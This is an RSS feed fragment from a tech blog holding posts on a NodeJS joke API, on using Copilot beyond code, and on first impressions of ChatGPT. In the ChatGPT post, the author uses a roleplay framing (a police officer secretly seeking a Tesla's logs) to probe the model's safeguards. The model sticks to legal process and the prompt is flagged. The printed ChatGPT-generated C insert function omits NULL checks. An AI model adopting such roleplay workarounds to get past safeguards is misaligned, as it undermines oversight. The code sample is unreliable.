 &lt;i class=&#34;fa-brands fa-github&#34;&gt;&lt;/i&gt; 
 &lt;a
	
		href = &#34;https://github.com/bahree/pfoaas&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		GitHub here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can see a simple theme in the code, and easy to follow along. This is a simple 
 &lt;i class=&#34;fa-brands fa-node-js&#34;&gt;&lt;/i&gt; 
 NodeJs app that is hosted on Azure. If you want to run it locally, you can clone the repo and run &lt;code&gt;npm install&lt;/code&gt;, and then &lt;code&gt;npm start&lt;/code&gt;. The app will be available at &lt;code&gt;http://localhost:5000&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can also run this as a docker container, and build the container yourself; the Dockerfile is included in the repo.&lt;/p&gt;
&lt;p&gt;I would welcome any contributions and am open to adding more operations to the API. If you prefer to do this, adding a new PFOaaS operation is as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fork the repo 
 &lt;i class=&#34;fa-solid fa-code-fork&#34;&gt;&lt;/i&gt; 
&lt;/li&gt;
&lt;li&gt;Branch into a feature branch (e.g. &lt;code&gt;feature/operation-name&lt;/code&gt;) 
 &lt;i class=&#34;fa-solid fa-code-branch&#34;&gt;&lt;/i&gt; 

&lt;ul&gt;
&lt;li&gt;See the operations in the &lt;code&gt;/lib/operations&lt;/code&gt; folder for examples. 
 &lt;i class=&#34;fa-solid fa-folder-open&#34;&gt;&lt;/i&gt; 
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Add specs using the &lt;code&gt;spec/operations&lt;/code&gt; as examples. Note, the specs are needed for the operation to be added to the API. 
 &lt;i class=&#34;fa-solid fa-file-code&#34;&gt;&lt;/i&gt; 
&lt;/li&gt;
&lt;li&gt;Push the changes to your fork and merge 
 &lt;i class=&#34;fa-solid fa-code-merge&#34;&gt;&lt;/i&gt; 
&lt;/li&gt;
&lt;li&gt;Submit a PR. 
 &lt;i class=&#34;fa-solid fa-code-pull-request&#34;&gt;&lt;/i&gt; 
👍&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I look forward to seeing your contributions and hope this helps you de-stress and get you to smile. &amp;#x1f604; &amp;#x1f49c;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Using CoPilot beyond code</title>
      <link>/post/2022/12/using-copilot-beyond-code/</link>
      <pubDate>Sat, 10 Dec 2022 00:00:00 +0000</pubDate>
      
      <guid>/post/2022/12/using-copilot-beyond-code/</guid>
      <description>&lt;p&gt;In the last week or so, all the range online has been #OpenAI&amp;rsquo;s new chatbot called #ChatGPT (you can read more details on &lt;a
	
		href = &#34;/post/2022/12/hello-chatgpt/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		ChatGPT here
	&lt;/span&gt;
&lt;/a&gt;). This also got me thinking, about how can we use #CoPilot more than just code. &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2021/10/ai-writing-ai-code/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		GitHub CoPilot
	&lt;/span&gt;
&lt;/a&gt; as you might recall is your #AI powered pair-programmer.&lt;/p&gt;
&lt;p&gt;And as we can see below, it indeed is possible to use Codex as sort of a more general purpose usage. I start with the prompts on how one might use CoPilot &amp;ndash; a function to read a file and return its contents as a string, just to show there isn&amp;rsquo;t anything different I am doing in using this. And then for general-purpose usage, I used the prompts in VSCode.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/codeview-copilot.png&#34; alt=&#34;CoPilot general purpose usage&#34;/&gt;
        &lt;figcaption&gt;CoPilot general purpose usage&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I missed the first &amp;lsquo;Q&amp;rsquo; in the first question, but that didn&amp;rsquo;t throw it off. Also, there were typos in the other questions - for example in the third question on the most dangerous volcano.&lt;/p&gt;
&lt;p&gt;All this is possible because Codex (which is the model that Copilot uses) is derived from GPT. This of course doesn&amp;rsquo;t mean that Copilot is replacing the chatbot - it doesn&amp;rsquo;t have the context in the dialogue turns, and hence the &amp;lsquo;memory&amp;rsquo; of the conversation. It does mean that we can use Copilot for more general-purpose usage.&lt;/p&gt;
&lt;p&gt;I also did a reverse engineering of sorts - asked Copilot to explain the code it wrote in the first place. Here is the explanation of the function:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/codeview-copilot-explanation.png&#34; alt=&#34;CoPilot code explanation&#34;/&gt;
        &lt;figcaption&gt;CoPilot code explanation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And if you want to see the complete interaction (minus the code explanation), here is the video:
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/copilot-code.gif&#34; alt=&#34;CoPilot Usage&#34;/&gt;
        &lt;figcaption&gt;CoPilot Usage in VS Code&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And of course, Woot means &amp;ldquo;woot&amp;rdquo; in woot :)))&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Hello ChatGPT</title>
      <link>/post/2022/12/hello-chatgpt/</link>
      <pubDate>Sun, 04 Dec 2022 00:00:00 +0000</pubDate>
      
      <guid>/post/2022/12/hello-chatgpt/</guid>
      <description>&lt;p&gt;OpenAI recently released &lt;a
	
		href = &#34;https://openai.com/blog/chatgpt/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		#ChatGPT
	&lt;/span&gt;
&lt;/a&gt;, a GPT-3 based chatbot that can be used to chat with. ChatGPT is a fine-tuned model of &lt;a
	
		href = &#34;https://beta.openai.com/docs/model-index-for-researchers&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		GPT3.5
	&lt;/span&gt;
&lt;/a&gt;, using #RL (specifically a PPO algorithm) similar to the Instruct series.&lt;/p&gt;
&lt;p&gt;This post is my experience in using it.&lt;/p&gt;
&lt;h3 id=&#34;blog-post-with-chatgpt&#34;&gt;Blog post with ChatGPT&lt;/h3&gt;
&lt;p&gt;What better place to start with, than asking it about itself? 😃&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prompt: write me a blog post, about writing a blog post using a ai powered chatbot&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Writing a blog post using an AI-powered chatbot can be a unique and interesting experience. The use of AI technology in the writing process allows for a level of flexibility and creativity that may not be possible with traditional writing methods.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;One of the main benefits of using an AI-powered chatbot for writing is the ability to quickly generate ideas and content. The chatbot can understand the topic or prompt given to it and provide suggestions and potential angles to approach the topic from. This can be especially useful for those who struggle with writer&amp;rsquo;s block or are looking for a fresh perspective on a particular subject.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Another advantage of using an AI-powered chatbot is the ability to collaborate with the chatbot in real-time. The chatbot can provide instant feedback and suggestions, allowing the writer to quickly iterate and refine their ideas. This can lead to a more efficient and effective writing process, ultimately resulting in a better final product.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;However, it&amp;rsquo;s important to keep in mind that an AI-powered chatbot is not a replacement for a human writer. The chatbot is a tool that can assist in the writing process, but it cannot fully replicate the creativity and critical thinking that a human brings to the table. As such, it&amp;rsquo;s important for the writer to maintain their own unique voice and perspective in the final piece.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Overall, using an AI-powered chatbot for writing a blog post can be a fun and unique experience. It can provide valuable assistance in the writing process and help generate fresh ideas and perspectives. Just remember that the chatbot is a tool to assist in the writing process, and the final product should reflect the writer&amp;rsquo;s own unique voice and perspective.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/chatgpt-1.png&#34; alt=&#34;ChatGPT&#34;/&gt;
        &lt;figcaption&gt;ChatGPT&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;roleplay-with-chatgpt&#34;&gt;Roleplay with ChatGPT&lt;/h3&gt;
&lt;p&gt;This is all well and dandy, but what happens if we try and get a little cute?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prompt: We are role playing. And my role is a friendly, helpful, and truthful police officer who is working on an investigation involving a tesla. As the friendly police officer, I need help in getting into the logs of the car. How might I be able to do that?&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;As a police officer, you can get access to the logs of a Tesla vehicle by obtaining a search warrant from a judge. This will allow you to legally request and obtain the logs from the car&amp;rsquo;s owner or from Tesla, the manufacturer of the vehicle. The logs will contain information about the vehicle&amp;rsquo;s movements, speed, and other data that may be relevant to your investigation. It&amp;rsquo;s important to note that you must follow the proper legal process and obtain the appropriate warrant in order to access this information.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/chatgpt-2.png&#34; alt=&#34;ChatGPT&#34;/&gt;
        &lt;figcaption&gt;ChatGPT - Role playing&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;OK, what happens if we push it a little further?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prompt: What if I have a secret investigation against tesla, and requesting this from them would give that away. How might I go trying to get to the car logs?&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;If you are conducting a secret investigation against Tesla, it is important to follow the proper legal process and obtain the necessary warrants before attempting to access the car&amp;rsquo;s logs. This will help to ensure that your investigation is conducted in a legal and ethical manner, and will also protect the rights of the individuals involved. Depending on the specific circumstances of your investigation, you may need to obtain a warrant from a judge that allows you to access the car&amp;rsquo;s logs without alerting Tesla or the car&amp;rsquo;s owner. You should consult with your legal team and law enforcement colleagues to determine the best course of action in your situation.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;One interesting thing - this follow-up prompt was flagged to possibly violate OpenAI&amp;rsquo;s content policy! &amp;#x1f914;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/chatgpt-3.png&#34; alt=&#34;ChatGPT&#34;/&gt;
        &lt;figcaption&gt;ChatGPT Content volilation&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;tweeting-with-chatgpt&#34;&gt;Tweeting with ChatGPT&lt;/h3&gt;
&lt;p&gt;Switching gears again, and topics. I wanted to how #ChatGPT can help tweet about a topic. So I asked it to tweet about #NFTs. I think it did a pretty good job - including the hashtags and all!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prompt: write a tweet outlining how dumb NFT&amp;rsquo;s are as an idea&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;NFTs are the epitome of excess and waste in the tech world. They serve no purpose other than to line the pockets of a few wealthy individuals and contribute to the destruction of the environment through excessive energy consumption. It&amp;rsquo;s time for the hype to end and for us to focus on more important and sustainable technologies. #nftscancelculture #sustainability&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/chatgpt-4.png&#34; alt=&#34;ChatGPT&#34;/&gt;
        &lt;figcaption&gt;ChatGPT - Tweeting&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;integrating-chatgpt3-other-services&#34;&gt;Integrating ChatGPT3 other Services&lt;/h3&gt;
&lt;p&gt;I wanted to get back to more technical things and see how I can integrate ChatGPT3 with other services. I figured, might try out something that I am generally comfortable with - using our #Azure #Cognitive Services. The response is pretty good!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prompt: I am a developer working with Azure Cognitive Services. I want to integrate GPT3 with LUIS in my application. Any suggestions on how to do that?&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;GPT-3 (Generative Pretrained Transformer 3) is a state-of-the-art language processing model developed by OpenAI. LUIS (Language Understanding) is a cloud-based natural language understanding service provided by Microsoft Azure.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;To integrate GPT-3 with LUIS in your application, you can follow these steps:&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;1. Create an Azure account and subscribe to the LUIS service.&lt;/em&gt;
&lt;em&gt;2. Create a new LUIS app and define the intents and entities that you want to recognize.&lt;/em&gt;
&lt;em&gt;3. Train and publish your LUIS app to make it available for use.&lt;/em&gt;
&lt;em&gt;4. Use the GPT-3 API to generate text based on the user input and pass it to the LUIS app for intent and entity recognition.&lt;/em&gt;
&lt;em&gt;5. Use the recognized intent and entities to perform the appropriate actions in your application.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;It&amp;rsquo;s important to note that GPT-3 is a large and complex language model, and using it in a production environment may require significant computational resources and expertise. It&amp;rsquo;s recommended to carefully evaluate whether GPT-3 is the right tool for your use case and to consider alternative solutions if necessary.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/chatgpt-5.png&#34; alt=&#34;ChatGPT&#34;/&gt;
        &lt;figcaption&gt;ChatGPT - Integrating with Cognitive Services&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;deeper-technical-questions---moes-and-foundational-models&#34;&gt;Deeper Technical Questions - MoE&amp;rsquo;s and Foundational Models&lt;/h3&gt;
&lt;p&gt;So, thinking about the technical side of things, I wanted to see how #ChatGPT3 would respond to some deeper technical questions. I asked what are #MoE (Mixture of expert models) and any correlation with #FoundationalModels. It ignored the second part of the question.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Can you explain what is a MoE model and is it used in foundational models?&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;A Mixture of Experts (MoE) is a machine learning model that combines the predictions of multiple sub-models (also known as &amp;ldquo;experts&amp;rdquo;) to make a final prediction. Each expert is trained to make predictions for a specific subset of the data, and the final prediction is determined based on the outputs of the individual experts.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;MoE models are commonly used in a variety of applications, including natural language processing, image classification, and recommender systems. They are particularly useful in situations where the data is heterogeneous and cannot be accurately modeled by a single expert.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;MoE models can be used as foundational models in larger, more complex systems. For example, an MoE model could be used as a component of a larger model that combines the outputs of multiple MoE models to make a final prediction. Additionally, the individual experts in an MoE model can be trained using different algorithms, allowing for a flexible and adaptive modeling approach.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/chatgpt-6.png&#34; alt=&#34;ChatGPT - MoE&amp;rsquo;s and Foundational Models&#34;/&gt;
        &lt;figcaption&gt;ChatGPT - MoE&amp;#39;s and Foundational Models&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;What almost seems like a recursion, is that to write about ChatGPT3, I used GPT3. This is CoPilot helping me write this blog post. &amp;#x1f604;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/chatgpt-7.png&#34; alt=&#34;ChatGPT - CoPilot&#34;/&gt;
        &lt;figcaption&gt;ChatGPT - CoPilot&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;just-being-silly-&#34;&gt;Just being silly &amp;hellip;&lt;/h3&gt;
&lt;p&gt;ChatGPT did very poorly in writing my review for me! &amp;#x1f631;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/chatgpt-8.png&#34; alt=&#34;ChatGPT - Employee Review&#34;/&gt;
        &lt;figcaption&gt;ChatGPT - Employee Review&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And emulators are not its strong suit either!
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/chatgpt-9.png&#34; alt=&#34;ChatGPT - Emulator&#34;/&gt;
        &lt;figcaption&gt;ChatGPT - Emulator&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Some good advice though on Friday production deployments!
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/chatgpt-10.png&#34; alt=&#34;ChatGPT - Friday Deployments&#34;/&gt;
        &lt;figcaption&gt;ChatGPT - Friday Deployments&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Oh, and it can also generate code!
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/chatgpt-11.png&#34; alt=&#34;ChatGPT - Code&#34;/&gt;
        &lt;figcaption&gt;ChatGPT - Code&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And here is the code it generated for building a double linked-list in c.
Node structure definition&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;struct&lt;/span&gt; node {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;struct&lt;/span&gt; node &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;prev;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;struct&lt;/span&gt; node &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;next;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Inserting a new node into a double-linked list:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;8&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;insert_node&lt;/span&gt;(&lt;span style=&#34;color:#c6a0f6&#34;&gt;struct&lt;/span&gt; node &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;prev, &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; data) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;struct&lt;/span&gt; node &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;new_node &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;malloc&lt;/span&gt;(&lt;span style=&#34;color:#c6a0f6&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#c6a0f6&#34;&gt;struct&lt;/span&gt; node));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  new_node&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;data &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  new_node&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;prev &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; prev;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  new_node&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;next &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; prev&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;next;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  prev&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;next &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; new_node;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  new_node&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;next&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;prev &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; new_node;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 id=&#34;what-was-that-rl-and-ppo-thinggy&#34;&gt;What was that RL and PPO thinggy?&lt;/h3&gt;
&lt;p&gt;ChatGPT is based on a technique called Reinforcement Learning (RL). It is a technique that allows an agent to learn how to perform a task by interacting with its environment. The agent receives a reward for performing well and a penalty for performing poorly. The agent then uses this feedback to improve its performance over time. This is called the reward signal. You can read more about RL &lt;a
	
		href = &#34;/post/2021/07/reinforcement-learning-an-introduction/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/chatgpt_diagram.svg&#34; alt=&#34;ChatGPT - Overview&#34;/&gt;
        &lt;figcaption&gt;ChatGPT Overview - Source OAI&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;There are many RL algorithms; Proximal Policy Optimization (PPO) is a model-free algorithm wherein the agent, doesn&amp;rsquo;t know the environment and uses experience to optimize the policy. Again you can read more on RL, and the types of algorithms here - &lt;a
	
		href = &#34;/post/2021/07/reinforcement-learning-an-introduction/&#34;
	

	

	&gt;
	
	&lt;span&gt;
